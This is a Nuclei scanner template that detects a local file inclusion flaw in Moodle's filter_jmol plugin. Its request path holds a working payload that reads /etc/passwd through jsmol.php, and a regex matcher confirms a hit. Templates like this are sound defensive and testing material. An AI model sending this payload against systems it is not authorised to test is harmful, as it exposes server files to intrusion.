nuclei-templates/vulnerabilities/moodle/moodle-filter-jmol-lfi.yaml

22 lines
475 B
YAML

id: moodle-filter-jmol-lfi
info:
name: Moodle filter_jmol - LFI
author: madrobot
severity: high
description: Local file inclusion on Moodle.
requests:
- method: GET
path:
- "{{BaseURL}}/filter/jmol/js/jsmol/php/jsmol.php?call=getRawDataFromDatabase&query=file:///etc/passwd"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: regex
regex:
- "root:[x*]:0:0:"
part: body